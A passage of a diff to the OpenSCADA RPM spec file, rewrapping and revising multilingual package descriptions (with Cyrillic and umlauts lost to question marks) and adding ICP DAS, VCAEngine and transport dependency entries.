+Das Paket %name-DAQ-DCON erm?glicht Verwirklichung des
+Kundenservices des DCON-Protokolls. Unterst?zung des Protokolls
 I-7000 DCON.
 %endif
 
@@ -179,12 +185,13 @@ Supported Modbus/TCP, Modbus/RTU and Mod
 ????????? ModBus. ?????????????? Modbus/TCP, Modbus/RTU ?
 Modbus/ASCII ?????????.
 %description DAQ-ModBus -l uk_UA.UTF8
-????? %name-DAQ-ModBus ????? ?????????? ???????????? ModBus ???????.
+????? %name-DAQ-ModBus ????? ?????????? ????????????
+ModBus ???????.
 ????????????? Modbus/TCP, Modbus/RTU ?? Modbus/ASCII ?????????.
 %description DAQ-ModBus -l de_DE.UTF8
-Das Paket %name-DAQ-ModBus emoeglicht Realisierung des Kundenservices des
-ModBus - Protokolls. Unterstuetzt werden die Protokolle Modbus/TCP,
-Modbus/RTU ? Modbus/ASCII.
+Das Paket %name-DAQ-ModBus em?glicht die Implementierung des
+Kundenservices des ModBus-Protokolls. Unterst?tzt werden die
+Protokolle Modbus/TCP, Modbus/RTU ? Modbus/ASCII.
 %endif
 
 %if 0%{?with_soundcard}
@@ -199,14 +206,13 @@ The %name-DAQ-Soundcard allows access to
 %description DAQ-Soundcard -l uk_UA.UTF8
 ????? %name-DAQ-Soundcard ????? ?????? ?? ????? ???????? ?????.
 %description DAQ-Soundcard -l de_DE.UTF8
-Das Paket %name-DAQ-Soundcard ermoeglicht den Zugang zur Schallkarte.
+Das Paket %name-DAQ-Soundcard gew?hrt den Zugang zur Schallkarte.
 %endif
 
 %if 0%{?with_snmp}
 %package DAQ-SNMP
 Summary: Open SCADA DAQ
 Group: Applications/Engineering
-BuildRequires: net-snmp-devel
 Requires: %{name} = %{version}-%{release}
 %description DAQ-SNMP
 The %name-DAQ-SNMP allows realising of SNMP client service.
@@ -216,8 +222,8 @@ The %name-DAQ-SNMP allows realising of S
 %description DAQ-SNMP -l uk_UA.UTF8
 ????? %name-DAQ-SNMP ????? ?????????? ???????????? SNMP ???????.
 %description DAQ-SNMP -l de_DE.UTF8
-Das Paket %name-DAQ-SNMP ermoeglicht Realisierung des Kundenservices
-des SNMP - Protokolls.
+Das Paket %name-DAQ-SNMP em?glicht die Implementierung des
+Kundenservices des SNMP-Protokolls.
 %endif
 
 %if 0%{?with_siemens}
@@ -238,9 +244,9 @@ for other.
 ????????? ???? Hilscher CIF ? ????????????? ????????? MPI ??
 ?????????? Libnodave ??? ??????.
 %description DAQ-Siemens -l de_DE.UTF8
-Das Paket %name-DAQ-Siemens, enthaelt die Datenquelle PLC Siemens
+Das Paket %name-DAQ-Siemens, enth?lt die Datenquelle PLC Siemens
 mittels der Karten Hilscher CIF durch Anwendung des MPI -
-Protokolls und der Bibliothek Libnodave fuer Anderes.
+Protokolls und der Bibliothek Libnodave f?r Anderes.
 %endif
 
 %if 0%{?with_system}
@@ -250,20 +256,20 @@ Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description DAQ-System
 The %name-DAQ-System, allow operation system data acquisition.
-Support OS Linux data sources: HDDTemp, Sensors, Uptime, Memory, CPU and
-other.
+Support OS Linux data sources: HDDTemp, Sensors, Uptime, Memory,
+CPU and other.
 %description DAQ-System -l ru_RU.UTF8
 ????? %name-DAQ-System, ????????????? ???? ?????? ????????????
 ???????. ?????????????? ????????? ?????? ?? Linux: HDDTemp, Sensors,
 Uptime, Memory, CPU ? ??????.
 %description DAQ-System -l uk_UA.UTF8
 ????? %name-DAQ-System, ????? ???? ????? ??????????? ???????.
-????????????? ??????? ????? ?? Linux: HDDTemp, Sensors, Uptime, Memory,
-CPU ?? ????.
+????????????? ??????? ????? ?? Linux: HDDTemp, Sensors, Uptime,
+Memory, CPU ?? ????.
 %description DAQ-System -l de_DE.UTF8
-Das Paket %name-DAQ-System ermoeglicht Datenerfassung des
+Das Paket %name-DAQ-System erm?glicht die Datenerfassung des
 Operationssystems. Es werden die Datenquellen ?? Linux: HDDTemp,
-Sensors, Uptime, Memory, CPU und andere unterstuetzt.
+Sensors, Uptime, Memory, CPU und andere unterst?tzt.
 %endif
 
 %if 0%{?with_blockcalc}
@@ -278,7 +284,7 @@ The %name-DAQ-BlockCalc allows block bas
 %description DAQ-BlockCalc -l uk_UA.UTF8
 ????? %name-DAQ-BlockCalc, ????? ???????? ??????????.
 %description DAQ-BlockCalc -l de_DE.UTF8
-Das Paket %name-DAQ-BlockCalc gewaehrt den Blockrechner
+Das Paket %name-DAQ-BlockCalc gew?hrt den Blockrechner
 %endif
 
 %if 0%{?with_javalikecalc}
@@ -291,17 +297,18 @@ The %name-DAQ-JavaLikeCalc allows java-l
 function's libraries engine. User can create and modify function and
 libraries.
 %description DAQ-JavaLikeCalc -l ru_RU.UTF8
-????? %name-DAQ-JavaLikeCalc, ????????????? ?????????? ?? java ????????
-????? ??????????? ? ?????? ?????????. ???????????? ????? ????????? ?
-?????????????? ??????? ? ??????????.
+????? %name-DAQ-JavaLikeCalc, ????????????? ?????????? ?? java
+???????? ????? ??????????? ? ?????? ?????????. ???????????? ?????
+????????? ? ?????????????? ??????? ? ??????????.
 %description DAQ-JavaLikeCalc -l uk_UA.UTF8
 ????? %name-DAQ-JavaLikeCalc, ????? ???????? ?? ???? ?????? ?? Java
 ?????????? ?? ?????? ????????? ??????. ?????????? ???? ?????????? ??
 ???????????? ??????? ?? ??????????.
 %description DAQ-JavaLikeCalc -l de_DE.UTF8
-Das %name-DAQ-JavaLikeCalc, entaelt die auf java - aehnlicher Sprache
-begruendeten Bibliothekenrechner und -laufer. Der Nutzer kann Funktionen
-und Bibliotheken schaffen und modifizieren.
+Das %name-DAQ-JavaLikeCalc, ent?lt die auf der Java - ?hnlicher
+Sprache begr?ndeten Bibliothekenrechner und -l?ufer.
+Der Nutzer kann Funktionen und Bibliotheken schaffen und
+modifizieren.
 %endif
 
 %if 0%{?with_logiclevel}
@@ -312,11 +319,13 @@ Requires: %{name} = %{version}-%{release
 %description DAQ-LogicLevel
 The %name-DAQ-LogicLevel allows logic level paramers.
 %description DAQ-LogicLevel -l ru_RU.UTF8
-????? %name-DAQ-LogicLevel, ????????????? ?????????? ??????? ??????????.
+????? %name-DAQ-LogicLevel, ????????????? ?????????? ???????
+??????????.
 %description DAQ-LogicLevel -l uk_UA.UTF8
 ????? %name-DAQ-LogicLevel, ????? ???????? ?????? ??????????.
 %description DAQ-LogicLevel -l de_DE.UTF8
-Das Paket %name-DAQ-LogicLevel, enthaelt das logische Parameterlevel.
+Das Paket %name-DAQ-LogicLevel, enth?lt das logische
+Parameterlevel.
 %endif
 
 %if 0%{?with_daqgate}
@@ -334,8 +343,32 @@ OpenSCADA station to local OpenSCADA sta
 ????? %name-DAQ-Gate, ???????? ????????? ??????? ????? ??????????
 OpenSCADA ??????? ?? ?????????.
 %description DAQ-Gate -l de_DE.UTF8
-Das Paket %name-DAQ-Gate, ermoeglicht das Einschleusen der Datenquellen der
-entfernten OpenSCADA Stationen in die lokale.
+Das Paket %name-DAQ-Gate, erm?glicht das Einschleusen der
+Datenquellen der entfernten OpenSCADA Stationen in die lokale.
+%endif
+
+%if 0%{?with_icpdas}
+%package DAQ-IcpDas
+Summary: Open SCADA DAQ
+Group: Applications/Engineering
+Requires: %{name} = %{version}-%{release}
+%description DAQ-IcpDas
+The %name-DAQ-IcpDas, package allow realisation of ICP DAS
+hardware support. Include I87000 and I-7000 DCON modules
+and I-8000 fast modules.
+%description DAQ-IcpDas -l ru_RU.UTF8
+????? %name-DAQ-IcpDas, ????????????? ?????????? ?????????
+???????????? ICP DAS. ???????? ????????? I-87000
+? I-7000 DCON ??????? ? I-8000 ??????? ???????.
+%description DAQ-IcpDas -l uk_UA.UTF8
+????? %name-DAQ-IcpDas, ????? ?????????? ????????? ??????????
+ICP DAS. ????????? I-87000 ?? I-7000 DCON ??????
+?? I-8000 ?????? ??????.
+%description DAQ-IcpDas -l de_DE.UTF8
+Das Paket %name-DAQ-IcpDas, gew?hrt die Implementierung der
+Unterst?tzung der installierten Ausr?stung ICP DAS.
+Die Unterst?tzung von Modulen I-87000 und I-7000
+und Schnell-Modulen I-8000 DCON ist eingeschlossen.
 %endif
 
 %if 0%{?with_selfsystem}
@@ -354,9 +387,10 @@ generic functions.
 ????????? ??????? ???????.
 %description Protocol-SelfSystem -l de_DE.UTF8
 Das Paket %name-Protocol-SelfSystem, das eigene OpenSCADA -
-Protokoll, unterstuetzt Hauptfunktionen
+Protokoll, unterst?tzt die Hauptfunktionen
 %endif
 
+########################### BD-System ############################
 %if 0%{?with_firebird}
 %package DB-FireBird
 Summary: Open SCADA database
@@ -370,7 +404,8 @@ The %name-DB-FireBird allow support of t
 %description DB-FireBird -l uk_UA.UTF8
 ????? %name-DB-FireBird, ?????? ??. ????? ????????? ?? FireBird.
 %description DB-FireBird -l de_DE.UTF8
-Das Paket %name-DB-FireBird Ermoegliht die FireBird Dateibasenunterstuetzung.
+Das Paket %name-DB-FireBird Gew?hrt die
+FireBird-Dateibasenunterst?tzung.
 %endif
 
 %if 0%{?with_mysql}
@@ -386,7 +421,7 @@ The %name-DB-MySQL package allow support
 %description DB-MySQL -l uk_UA.UTF8
 ????? %name-DB-MySQL, ????? ????????? ?? MySQL.
 %description DB-MySQL -l de_DE.UTF8
-Das Paket %name-DB-MySQL Ermoeglicht die MySQL-Dateibasenunterstuetzung.
+Das Paket %name-DB-MySQL gew?hrt die MySQL-Dateibasenunterst?tzung.
 %endif
 
 %if 0%{?with_dbf}
@@ -395,13 +430,16 @@ Summary: Open SCADA database
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description DB-DBF
-The %name-DB-DBF package allow support of the *.dbf files, version 3.0.
+The %name-DB-DBF package allow support of the *.dbf files,
+version 3.0.
 %description DB-DBF -l ru_RU.UTF8
-????? %name-DB-DBF, ????????????? ????????? *.dbf ??????, ?????? 3.0..
+????? %name-DB-DBF, ????????????? ????????? *.dbf ??????,
+?????? 3.0.
 %description DB-DBF -l uk_UA.UTF8
 ????? %name-DB-DBF, ????? ????????? *.dbf ??????, ?????? 3.0.
 %description DB-DBF -l de_DE.UTF8
-Das Paket %name-DB-DBF ermoeglicht die *.dbf Dateiunterstutzung, Versionen 3.0..
+Das Paket %name-DB-DBF gew?hrt die *.dbf Dateiunterst?tzung,
+Versionen 3.0.
 %endif
 
 %if 0%{?with_sqlite}
@@ -416,25 +454,27 @@ The %name-DB-SQLite package allow suppor
 %description DB-SQLite -l uk_UA.UTF8
 ????? %name-DB-SQLite, ????? ????????? ?? SQLite.
 %description DB-SQLite -l de_DE.UTF8
-Das Paket %name-DB-SQLite ermoeglicht die DB SQLite - Unterstuetzung.
+Das Paket %name-DB-SQLite gew?hrt die DB SQLite - Unterst?tzung.
 %endif
 
+############################# ARH-System ############################
 %if 0%{?with_dbarch}
 %package ARH-DBArch
 Summary: Open SCADA arch
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description ARH-DBArch
-The %name-ARH-DBArch package allow functions for messages and values
-arhiving to DB.
+The %name-ARH-DBArch package allow functions for messages and
+values arhiving to DB.
 %description ARH-DBArch -l ru_RU.UTF8
-????? %name-ARH-DBArch, ????????????? ??????? ????????????? ????????? ?
-???????? ?? ??.
+????? %name-ARH-DBArch, ????????????? ??????? ?????????????
+????????? ? ???????? ?? ??.
 %description ARH-DBArch -l uk_UA.UTF8
-????? %name-ARH-DBArch, ????? ??????? ????????? ??????????? ?? ??????? ?? ??.
+????? %name-ARH-DBArch, ????? ??????? ????????? ???????????
+?? ??????? ?? ??.
 %description ARH-DBArch -l de_DE.UTF8
-Das Paket %name-ARH-DBArch gewaehrt Archivierungsfunktionen der Mitteilungen
-und Bedeutungen fuer DB.
+Das Paket %name-ARH-DBArch gew?hrt Archivierungsfunktionen
+der Nachrichten und Bedeutungen f?r DB.
 %endif
 
 %if 0%{?with_fsarch}
@@ -443,24 +483,33 @@ Summary: Open SCADA arch
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description ARH-FSArch
-The %name-ARH-FSArch allow functions for messages and values arhiving
-to file system.
+The %name-ARH-FSArch allow functions for messages and values
+arhiving to file system.
 %description ARH-FSArch -l ru_RU.UTF8
-????? %name-ARH-FSArch, ????????????? ??????? ????????????? ????????? ?
-???????? ?? ???????? ???????.
+????? %name-ARH-FSArch, ????????????? ??????? ?????????????
+????????? ? ???????? ?? ???????? ???????.
 %description ARH-FSArch -l uk_UA.UTF8
-????? %name-ARH-FSArch, ????? ??????? ????????? ??????????? ?? ??????? ??
-??????? ???????.
+????? %name-ARH-FSArch, ????? ??????? ????????? ???????????
+?? ??????? ?? ??????? ???????.
 %description ARH-FSArch -l de_DE.UTF8
-Das Paket %name-ARH-FSArch gewaert Archivierungsfunktionen fuer Mitteilungen
-und Bedeutungen fuer Dateisystem.
+Das Paket %name-ARH-FSArch gew?hrt Archivierungsfunktionen
+f?r Nachrichte und Bedeutungen f?r Dateisystem.
 %endif
 
+############################# UI-System ##############################
 %if 0%{?with_webcfg}
 %package UI-WebCfg
 Summary: Open SCADA interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
+# ############### Transport ########################
+%if 0%{?with_sockets}
+Requires:%{name}-Transport-Sockets = %{version}-%{release}
+%endif
+%if 0%{?with_ssl}
+Requires:%{name}-Transport-SSL = %{version}-%{release}
+%endif
+# ##################################################
 %description UI-WebCfg
 The %name-UI-WebCfg allows the WEB based OpenSCADA system
 configurator.
@@ -471,7 +520,7 @@ configurator.
 ????? %name-UI-WebCfg, ????? WEB ????????? ???????????? ???????
 OpenSCADA.
 %description UI-WebCfg -l de_DE.UTF8
-Das Paket %name-UI-WebCfg ermoeglicht den WEB-begruendeten
+Das Paket %name-UI-WebCfg gew?hrt den WEB-begr?ndeten
 OpenSCADA-Konfigurator.
 %endif
 
@@ -480,6 +529,14 @@ OpenSCADA-Konfigurator.
 Summary: Open SCADA interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
+# ############### Transport ########################
+%if 0%{?with_sockets}
+Requires:%{name}-Transport-Sockets = %{version}-%{release}
+%endif
+%if 0%{?with_ssl}
+Requires:%{name}-Transport-SSL = %{version}-%{release}
+%endif
+# ##################################################
 %description UI-WebCfgd
 The %name-UI-WebCfgd allows the dynamic WEB based OpenSCADA system
 configurator. Use XHTML, CSS and JavaScript technologies.
@@ -487,11 +544,11 @@ configurator. Use XHTML, CSS and JavaScr
 ????? %name-UI-WebCfgd, ????????????? ???????????? WEB ??????????
 ????????????. ?????????? XHTML, CSS ? JavaScript ??????????.
 %description UI-WebCfgd -l uk_UA.UTF8
-????? %name-UI-WebCfgd, ????? ?????????? WEB ????????? ????????????.
-??????????? XHTML, CSS ?? JavaScript ??????????.
+????? %name-UI-WebCfgd, ????? ?????????? WEB ?????????
+????????????. ??????????? XHTML, CSS ?? JavaScript ??????????.
 %description UI-WebCfgd -l de_DE.UTF8
-Das Paket %name-UI-WebCfgd ermoeglicht den dynamischen WEB-begruendeten
-Konfigurator. Nutzt XHTML, CSS and JavaScript technologies aus.
+Das Paket %name-UI-WebCfgd gew?hrt den dynamischen WEB-begr?ndeten
+Konfigurator. Nutzt die XHTML, CSS und JavaScript-Technologien aus.
 %endif
 
 %if 0%{?with_webvision}
@@ -499,18 +556,26 @@ Konfigurator. Nutzt XHTML, CSS and JavaS
 Summary: Open SCADA interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
+# ############### Transport ########################
+%if 0%{?with_sockets}
+Requires:%{name}-Transport-Sockets = %{version}-%{release}
+%endif
+%if 0%{?with_ssl}
+Requires:%{name}-Transport-SSL = %{version}-%{release}
+%endif
+# ##################################################
 %description UI-WebVision
-The %name-UI-WebVision web operation user interface for visual control area
-(VCA) projects playing.
+The %name-UI-WebVision web operation user interface for visual
+control area (VCA) projects playing.
 %description UI-WebVision -l ru_UA.UTF8
-????? %name-UI-WebVision, web ??????? ???????????????? ????????? ???
-?????????? ?????????? ???? ?????????? (???)
+????? %name-UI-WebVision, web ??????? ???????????????? ?????????
+??? ?????????? ?????????? ???? ?????????? (???)
 %description UI-WebVision -l uk_RU.UTF8
-????? %name-UI-WebVision, web ??????? ????????? ??????????? ??? ?????????
-??????????? ?????????? ????????? (???).
+????? %name-UI-WebVision, web ??????? ????????? ??????????? ???
+????????? ??????????? ?????????? ????????? (???).
 %description UI-WebVision -l de_DE.UTF8
-Das Paket %name-UI-WebVision, web-Arbeitsnutzersinterface fuer Ausfuehrung
-visueller Kontrollebereiche .
+Das Paket %name-UI-WebVision, web-Arbeitsnutzersinterface f?r die
+Ausf?hrung visueller Kontrollebereiche.
 %endif
 
 %if 0%{?with_http}
@@ -518,19 +583,29 @@ visueller Kontrollebereiche .
 Summary: Open SCADA http
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
+# ############### Transport ########################
+%if 0%{?with_sockets}
+Requires:%{name}-Transport-Sockets = %{version}-%{release}
+%endif
+%if 0%{?with_ssl}
+Requires:%{name}-Transport-SSL = %{version}-%{release}
+%endif
+# ##################################################
 %description Protocol-HTTP
-The %name-Protocol-HTTP package allows support HTTP for WWW based UIs.
+The %name-Protocol-HTTP package allows support HTTP
+for WWW based UIs.
 %description Protocol-HTTP -l ru_RU.UTF8
-????? %name-Protocol-HTTP ????????????? ????????? HTTP ??? WWW ??????????
-???????????????? ???????????.
+????? %name-Protocol-HTTP ????????????? ????????? HTTP ??? WWW
+?????????? ???????????????? ???????????.
 %description Protocol-HTTP -l uk_UA.UTF8
 ????? %name-Protocol-HTTP ????? ????????? HTTP ??? WWW ???????????
 ?????????????????? ???????????.
 %description Protocol-HTTP -l de_DE.UTF8
-Das Paket %name-Protocol-HTTP ermoeglicht die HTTP-Unterstuetzung fuer die
-WWW-basierenden Nutzersinterfaces .
+Das Paket %name-Protocol-HTTP gew?hrt die HTTP-Unterst?tzung
+f?r die WWW-basierenden Nutzersinterfaces.
 %endif
 
+############################### GUI-System ##################################
 %if 0%{?with_qtstarter}
 %package UI-QTStarter
 Summary: Open SCADA QT Starter
@@ -538,7 +613,7 @@ Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description UI-QTStarter
 The %name-UI-QTStarter Allow QT GUI starter. It is single for
-all QT GUI modules!.
+all QT GUI modules!
 %description UI-QTStarter -l ru_RU.UTF8
 ????? %name-UI-QTStarter ????????????? QT GUI ?????????.
 ?? ???????? ???????????? ??? ???? QT GUI ???????!
@@ -546,8 +621,8 @@ all QT GUI modules!.
 ????? %name-UI-QTStarter ????? QT GUI ??????. ??? ? ???? ???
 ???? QT GUI ???????!
 %description UI-QTStarter -l de_DE.UTF8
-Das Paket %name-UI-QTStarter  Enthaelt den QT GUI Starter.
-Ist das einzige fuer alle QT GUI Module!
+Das Paket %name-UI-QTStarter  Enth?lt den QT GUI-Starter.
+Ist das Einzige f?r alle QT GUI-Module!
 %endif
 
 %if 0%{?with_qtcfg}
@@ -556,54 +631,79 @@ Summary: Open SCADA QT interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description UI-QTCfg
-The %name-UI-QTCfg allows the QT based OpenSCADA system configurator.
+The %name-UI-QTCfg allows the QT based OpenSCADA system
+configurator.
 %description UI-QTCfg -l ru_RU.UTF8
-????? %name-UI-QTCfg ????????????? QT ?????????? ???????????? ???????
-OpenSCADA.
+????? %name-UI-QTCfg ????????????? QT ?????????? ????????????
+??????? OpenSCADA.
 %description UI-QTCfg -l uk_UA.UTF8
 ????? %name-UI-QTCfg ??????? ????? QTCfg-?????????????.
 %description UI-QTCfg -l de_DE.UTF8
-Das Paket %name-UI-QTCfg emrmoeglicht den QT-begruendeten
+Das Paket %name-UI-QTCfg gew?hrt den QT-begr?ndeten
 OpenSCADA-Systemkonfigurator.
 %endif
 
-%if 0%{?with_qtvision}
-%package UI-QTVision
+############################### UI-System ##################################
+
+%if 0%{?with_uivision}
+%package UI-Vision
 Summary: Open SCADA QT interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
-%description UI-QTVision
-The %name-UI-QTVision package includes files visual operation user
+%description UI-Vision
+The %name-UI-Vision package includes files visual operation user
 interface.
-%description UI-QTVision -l ru_RU.UTF8
-????? %name-UI-QTVision ???????? ????? ???????? ?????????????????
+%description UI-Vision -l ru_RU.UTF8
+????? %name-UI-Vision ???????? ????? ???????? ?????????????????
 ??????????.
-%description UI-QTVision -l uk_UA.UTF8
-????? %name-UI-QTVision ??????? ????? ???????? ??????????
+%description UI-Vision -l uk_UA.UTF8
+????? %name-UI-Vision ??????? ????? ???????? ??????????
 ???????????.
-%description UI-QTVision -l de_DE.UTF8
-Das Paket %name-UI-QTVision enthaelt die Arbeitsnutzersinterfacedaten
+%description UI-Vision -l de_DE.UTF8
+Das Paket %name-UI-Vision enth?lt die Arbeitsnutzersinterfacedaten
+%endif
+
+%if 0%{?with_uivcaengine}
+%package UI-VCAEngine
+Summary: Open SCADA QT interfaces
+Group: Applications/Engineering
+Requires: %{name} = %{version}-%{release}
+%description UI-VCAEngine
+The %{name}-UI-VCAEngine package - generic visual control
+area engine.
+%description UI-VCAEngine -l ru_RU.UTF8
+????? %{name}-UI-VCAEngine - ????? ?????? ????? ????????????
+? ??????????.
+%description UI-VCAEngine -l uk_UA.UTF8
+????? %{name}-UI-VCAEngine - ????????? ????? ??????????
+???????????? ?? ?????????.
+%description UI-VCAEngine -l de_DE.UTF8
+Das Paket %{name}-UI-VCAEngine - allgemeine
+Visualisierungssteuerung.
 %endif
 
+############################# Transport-System ##############################
 %if 0%{?with_ssl}
 %package Transport-SSL
 Summary: Open SCADA transports
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description Transport-SSL
-The %name-Transport-SSL allows security socket layer based transport.
-Used OpenSSL and supported SSLv2, SSLv3 and TLSv1.
+The %name-Transport-SSL allows security socket layer based
+transport. Used OpenSSL and supported SSLv2, SSLv3 and TLSv1.
 %description Transport-SSL -l ru_RU.UTF8
-????? %name-Transport-SSL ????????????? ????????? ?????????? ?? ????
-?????????? ???????. ???????????? OpenSSL ? ????????????? SSLv2, SSLv3
+????? %name-Transport-SSL ????????????? ????????? ??????????
+?? ???? ?????????? ???????. ???????????? OpenSSL ? ????????????? SSLv2, SSLv3
 and TLSv1.
 %description Transport-SSL -l uk_UA.UTF8
-????? %name-Transport-SSL ????? ????????? ????????? ?? ?????????? ???? ???????.
- ??????????? OpenSSL ?? ????????????? SSLv2, SSLv3 and TLSv1.
+????? %name-Transport-SSL ????? ????????? ????????? ??
+?????????? ???? ???????.
+??????????? OpenSSL ?? ????????????? SSLv2, SSLv3 and TLSv1.
 %description Transport-SSL -l de_DE.UTF8
-Das Paket %name-Transport-SSL enthaelt den auf der Schicht der unfallfesten
-Sockets begruendeten Transport. Es werden OpenSSL benutzt und SSLv2, SSLv3
-und TLSv1 unterstuetzt.
+Das Paket %name-Transport-SSL enth?lt den auf der Schicht der
+unfallfesten.
+Sockets begr?ndeten Transport. Es werden OpenSSL und SSLv2, SSLv3
+und TLSv1 benutzt und unterst?tzt.
 %endif
 
 %if 0%{?with_sockets}
@@ -612,20 +712,22 @@ Summary: Open SCADA transports
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description Transport-Sockets
-The %name-Transport-Sockets allows sockets based transport. Supports inet
-and unix sockets. Inet socket uses TCP and UDP protocols.
+The %name-Transport-Sockets allows sockets based transport.
+Supports inet and unix sockets.
+Inet socket uses TCP and UDP protocols.
 %description Transport-Sockets -l ru_RU.UTF8
-????? %name-Transport-Sockets ???????????? ????????? ?????????? ?? ???????.
-?????????????? ???????? ? UNIX ??????. ???????? ????? ?????????? TCP ? UDP
-?????????.
+????? %name-Transport-Sockets ???????????? ????????? ??????????
+?? ???????. ?????????????? ???????? ? UNIX ??????.
+???????? ????? ?????????? TCP ? UDP ?????????.
 %description Transport-Sockets -l uk_UA.UTF8
 ????? %name-Transport-Sockets ????? ????????? ????????? ?? ???????.
 ????????????? ???????? ?? UNIX ??????. ???????? ????? ???????????? TCP
 ?? UDP ?????????.
 %description Transport-Sockets -l de_DE.UTF8
-Das Paket %name-Transport-Sockets ermoeglicht den auf Sockets begruendeten
-Transport. Unterstuetzt werden Internet- und UNIX-Sockets. Internetsocket
-benutzt TCP und UDP Protokolle.
+Das Paket %name-Transport-Sockets gew?hrt den auf Sockets
+begr?ndeten Transport.
+Unterst?tzt werden die Internet- und UNIX-Sockets.
+Das Internetsocket benutzt die TCP und UDP-Protokolle.
 %endif
 
 %if 0%{?with_serial}
@@ -638,19 +740,20 @@ The %name-Transport-Serial, allow serial
 data exchanging through serial interfaces like RS232, RS485, GSM
 and other.
 %description Transport-Serial -l ru_RU.UTF8
-????? %name-Transport-Serial, ????????????? ???????????????? ?????????.
-???????????? ??? ?????? ??????? ????? ???????????????? ??????????
+????? %name-Transport-Serial, ????????????? ????????????????
+?????????. ???????????? ??? ?????? ??????? ????? ???????????????? ??????????
 ???? RS232, RS485, GSM ? ??????.
 %description Transport-Serial -l uk_UA.UTF8
 ????? %name-Transport-Serial, ????? ?????????? ??????????.
 ???????????????? ??? ?????? ?????? ????? ?????????? ???????????
 ???? RS232, RS485, GSM ?? ????.
 %description Transport-Serial -l de_DE.UTF8
-Das Paket %name-Transport-Serial, ermoeglicht konsequenten
-Nutzersinterface. Wird fuer das Umtauschen von Daten durch konsequente
+Das Paket %name-Transport-Serial, gew?hrt das konsequente
+Nutzersinterface. Wird f?r das Umtauschen von Daten durch konsequente
 Interfaces wie RS232, RS485, GSM und andere benutzt.
 %endif
 
+############################# Functions-System #########################
 %if 0%{?with_flibcomplex}
 %package Special-FlibComplex1
 Summary: Open SCADA special
@@ -666,7 +769,7 @@ Complex1 (SCADA Complex1 functions).
 ????? %name-Special-FlibComplex1 ????? ???????? ?????????? ???????
 Complex1 (??????? SCADA Complex1).
 %description Special-FlibComplex1 -l de_DE.UTF8
-Das Paket %name-Special-FlibComplex1s enthaelt statische
+Das Paket %name-Special-FlibComplex1s enth?lt statische
 Bibliothek der Complex1-Funktionen (Funktionen SCADA Complex1).
 %endif
 
@@ -676,15 +779,17 @@ Summary: Open SCADA special
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description Special-FlibMath
-The %name-Special-FlibMath allows mathematic static function library.
+The %name-Special-FlibMath allows mathematic static function
+library.
 %description Special-FlibMath -l ru_RU.UTF8
 ????? %name-Special-FlibMath ????????????? ?????????? ???????????
 ?????????????? ???????.
 %description Special-FlibMath -l uk_UA.UTF8
-????? %name-Special-FlibMath ????? ???????? ?????????? ???????????? ???????.
+????? %name-Special-FlibMath ????? ???????? ??????????
+???????????? ???????.
 %description Special-FlibMath -l de_DE.UTF8
-The %name-Special-FlibMath : #Das Paket %name-Special-FlibMath enthaelt
-Standardbibliothek der mathematischen Funktionen.
+Das Paket %name-Special-FlibMath enth?lt die Standardbibliothek
+der mathematischen Funktionen.
 %endif
 
 %if 0%{?with_flibsys}
@@ -699,27 +804,30 @@ of the user programming area.
 ????? %name-Special-FlibSys ????????????? ? ??????? ??????????
 ?????????? API ????? ????????????????? ????????????????.
 %description Special-FlibSys -l uk_UA.UTF8
-????? %name-Special-FlibSys ????? ? ??????? ?????????? ?????????? API
-?????????? ????????????? ???????????.
+????? %name-Special-FlibSys ????? ? ??????? ??????????
+?????????? API ?????????? ????????????? ???????????.
 %description Special-FlibSys -l de_DE.UTF8
-Das Paket %name-Special-FlibSys ermoeglicht in das System die
+Das Paket %name-Special-FlibSys gew?hrt in das System die
 Bibliothek der API-Systemprogrammierung des Nutzersbereiches.
 %endif
 
+######################### Tests-System ##############################
 %if 0%{?with_systemtests}
 %package Special-SystemTests
 Summary: Open SCADA special
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description Special-SystemTests
-The %name-Special-SystemTests allows the group tests for OpenSCADA system.
+The %name-Special-SystemTests allows the group tests
+for OpenSCADA system.
 %description Special-SystemTests -l ru_RU.UTF8
-????? %name-Special-SystemTests ????????????? ?????? ?????? ??? ???????
-OpenSCADA.
+????? %name-Special-SystemTests ????????????? ?????? ??????
+??? ??????? OpenSCADA.
 %description Special-SystemTests -l uk_UA.UTF8
-????? %name-Special-SystemTests ????? ????? ?????? ??? ??????? OpenSCADA.
+????? %name-Special-SystemTests ????? ????? ??????
+??? ??????? OpenSCADA.
 %description Special-SystemTests -l de_DE.UTF8
-Das Paket %name-Special-SystemTests enthaelt die Testgruppe fuer das
+Das Paket %name-Special-SystemTests enth?lt die Testgruppe f?r das
 OpenSCADA-System
 %endif
 
@@ -733,7 +841,7 @@ The %name-doc package include documents 
 %description doc -l uk_UA.UTF8
 ????? %name-doc ??????? ????? ????????????.
 %description doc -l de_DE.UTF8
-Das Paket %name-doc enthaelt Dokumentationsdateien.
+Das Paket %name-doc enth?lt die Dokumentationsdateien.
 
 %package devel
 Summary: Open SCADA development
@@ -746,13 +854,18 @@ The %name-devel package includes library
 %description devel -l uk_UA.UTF8
 ????? %name-devel ??????? ????? ????????? ?? ????????? ?????.
 %description devel -l de_DE.UTF8
-Das Paket %name-devel enthaelt Bibliothekenarchiv und eingeschlossene
+Das Paket %name-devel enth?lt das Bibliothekenarchiv und die
+eingeschlossenen
 Dateien.
 
 %package demo
 Summary: Open SCADA demo data bases and config
 Group: Applications/Engineering
 Requires:%{name} = %{version}-%{release}
+# ############### DB ########################
+%if 0%{?with_dbarch}
+Requires:%{name}-DB-SQLite = %{version}-%{release}
+%endif
 # ############### ARH ########################
 %if 0%{?with_dbarch}
 Requires:%{name}-ARH-DBArch = %{version}-%{release}
@@ -777,6 +890,9 @@ Requires:%{name}-Special-SystemTests = %
 %if 0%{?with_blockcalc}
